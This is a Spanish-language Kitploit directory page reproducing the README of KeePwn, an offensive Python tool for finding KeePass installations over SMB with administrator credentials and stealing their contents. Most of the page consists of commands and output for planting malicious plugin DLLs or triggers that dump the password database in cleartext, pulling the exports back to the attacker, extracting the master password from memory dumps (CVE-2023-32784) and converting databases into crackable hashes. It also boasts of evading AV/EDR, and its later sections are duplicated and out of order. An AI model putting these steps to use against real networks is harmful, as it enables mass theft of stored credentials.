Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
KeePwn — Una herramienta de Python para automatizar el descubrimiento de KeePass y la extracción de secretos. | Kitploit
Herramientas/GitHubGitHub/orange-cyberdefense/keepwn
Descifrado de ContraseñasExplotaciónPost-ExplotaciónRed Teaming
GitHuborange-cyberdefense/keepwn

KeePwn

Una herramienta de Python para automatizar el descubrimiento de KeePass y la extracción de secretos.

Ver Repositorio
527541hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Un script en Python para ayudar a los equipos rojos a descubrir instancias de KeePass y extraer secretos.

Características

  • Descubrimiento de KeePass
    • Buscar archivos de instalación de KeePass a través del recurso compartido SMB C$.
    • Aceptar múltiples fuentes de objetivo (IP, CIDR, hostname, archivo).
    • Verificar metadatos de KeePass (versión, última hora de acceso).
    • Verificar procesos de KeePass en ejecución mediante RPC basado en Impacket.
    • Implementación multi-hilo para evitar hosts cuello de botella.
    • Exportar resultados de búsqueda a CSV.
    • Encontrar bases de datos KDBX.
  • Abuso de plugins de KeePass
    • Añadir y eliminar plugins de KeePass (ver KeeFarce Reborn) a través del recurso compartido SMB C$.
    • Recuperar exportaciones en texto plano en el host remoto.
  • Abuso de disparadores de KeePass
    • Añadir y eliminar disparadores (ver: KeeThief desde el archivo de configuración de KeePass a través del recurso compartido SMB C$.
    • Recuperar exportaciones en texto plano en el host remoto.
    • Personalizar disparadores con argumentos de línea de comandos.
  • Análisis de volcados de memoria de KeePass
    • Analizar volcados de memoria para encontrar candidatos a contraseña maestra (CVE-2023-32784).
    • Analizar volcados de memoria para encontrar la clave de cifrado.
  • Descifrado de bases de datos KeePass
    • Convertir KDBX a formatos compatibles con John y Hashcat.
    • Añadir soporte para formato KDBX 4.x.
  • Autenticación
    • Soporte de autenticación mediante hash LM/NT.
    • Soporte de autenticación Kerberos.
  • Miscelánea
    • Escribir pruebas unitarias.
    • Publicar el proyecto en PyPI .

Instalación

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help

O si no deseas instalar sino solo ejecutar en un virtualenv:

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help

Uso

Descubrimiento

El módulo search de KeePwn se utiliza para identificar hosts que ejecutan KeePass en tu entorno objetivo:

root@kitploit:~
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

Hace uso del recurso compartido C$ incorporado de Active Directory para buscar archivos relacionados con KeePass en ubicaciones predeterminadas, por lo que requiere privilegios de administrador en los objetivos.

El módulo primero buscará el archivo de configuración KeePass.config.xml en la carpeta %APPDATA%\KeePass de cada usuario, así como KeePass.exe en su ruta de instalación predeterminada (C:\Program Files\KeePass Password Safe 2). Si se encuentra un archivo de configuración pero KeePass no está instalado globalmente, KeePwn buscará instalaciones portátiles hasta --max-depth subcarpetas.

Esta técnica de búsqueda básica debería ser suficiente para determinar con precisión si KeePass se usa en una estación de trabajo o no. Además, la opción --get-process utilizará la implementación RPC de Impacket para determinar si KeePass se está ejecutando actualmente en el objetivo.

También se incluyen varias opciones de calidad de vida para permitir exportar los resultados de búsqueda a un archivo CSV, mostrar solo los objetivos donde se encuentra KeePass y ajustar el número de hilos paralelos:

Abuso de plugins

KeePass cuenta con un marco de plugins que puede ser abusado para cargar DLL maliciosas en el proceso de KeePass, permitiendo a atacantes con derechos de administrador exportar fácilmente la base de datos (ver: KeeFarceRebornPlugin).

El módulo plugin de KeePwn permite:

  • Listar los plugins actualmente instalados y enumerar la caché de plugins

    root@kitploit:~
    $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   

[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'

  • Añadir y eliminar tus plugins maliciosos

    root@kitploit:~
    $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  

[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!

  • Consultar %APPDATA% en busca de exportaciones y moverlas automáticamente del host remoto al sistema de archivos local

Abuso de disparadores

Como se describe en el artículo de @harmj0y (y posteriormente CVE-2023-24055), el sistema de disparadores de KeePass puede ser abusado para exportar la base de datos en texto plano.

El módulo trigger de KeePwn permite:

  • Verificar si un disparador malicioso llamado "export" está actualmente escrito en la configuración de KeePass

    root@kitploit:~
    $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       

[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] No trigger found in KeePass configuration

    Ten en cuenta que KeePwn te impedirá abusar de los plugins si la versión detectada de KeePass no se ve afectada por esta técnica.

  • Añadir y eliminar un disparador malicioso llamado "export" que realiza una exportación en texto plano de la base de datos en %APPDATA% en el próximo inicio de KeePass

    root@kitploit:~
    ❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       

[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
Análisis de volcados de memoria

Como describe @vdohney, es posible recuperar la contraseña maestra de la base de datos en memoria (CVE-2023-32784, afecta a versiones anteriores a KeePass 2.54).

El módulo parse_dump de KeePwn buscará posibles candidatos a contraseña maestra en los volcados. Debido a que las cadenas resultantes estarán (por diseño) incompletas, el módulo también puede usarse para forzar por fuerza bruta el primer carácter faltante contra un archivo KDBX especificado.

root@kitploit:~
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx

[*] Searching for the master password in memory dump.. done!                                                                                                                                                                                                 
[*] Found 15 candidates:
     ＿@$$w0rd!!
     ＿Ï$$w0rd!!
     ＿§$$w0rd!!
     ＿ñ$$w0rd!!
     ＿D$$w0rd!!
     ＿$$w0rd!!
     ＿\$$w0rd!!
     ＿#$$w0rd!!
     ＿y$$w0rd!!
     ＿k$$w0rd!!
     ＿9$$w0rd!!
     ＿;$$w0rd!!
     ＿H$$w0rd!!
     ＿>$$w0rd!!
     ＿a$$w0rd!!

[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!                                                                                                                                                                          
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!

El análisis de volcados de memoria utiliza el PoC en Python de @CMEPW. ¡Gracias por permitirme reutilizar el código :)

Descifrado de bases de datos KDBX

El script keepass2john.py de @harmjoy fue portado a KeePwn con la ayuda de @0xSp3ctra.

KeePwn convert extraerá un hash descifrable (formato john o hashcat) de una base de datos KeePass.

root@kitploit:~
KeePwn convert -d ./Database.kdbx 

[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17

Se puede usar con más argumentos para especificar el tipo de hash esperado, así como una ruta de archivo de salida:

root@kitploit:~
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash 

[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)

KDBX 4.x aún no es compatible; puedes usar https://github.com/r3nt0n/keepass4brute. Si tienes ganas de un PR, https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format debería ser una buena lectura :)

Contribuir

Las solicitudes de extracción son bienvenidas (ver: Características sin marcar + algunos TODOs en el código).

Siéntete libre de abrir un issue o enviarme un mensaje directo en Twitter para sugerir mejoras.

Descargar herramienta
root@kitploit:~
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv

[*] Starting remote KeePass search with 4 threads

[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)

[+] Search results logged to keepwn_out.csv
root@kitploit:~
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  

[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml

Estas acciones se realizan a través del acceso al recurso compartido SMB C$, lo que limita la detección por parte de AV/EDR, ya que no se ejecuta ningún comando.

  • Consultar %APPDATA% en busca de exportaciones y moverlas automáticamente del host remoto al sistema de archivos local

    root@kitploit:~
    $ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  

[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml

    • Si la ruta del archivo de configuración no es la ubicación predeterminada, puedes especificar una con el argumento --config-path.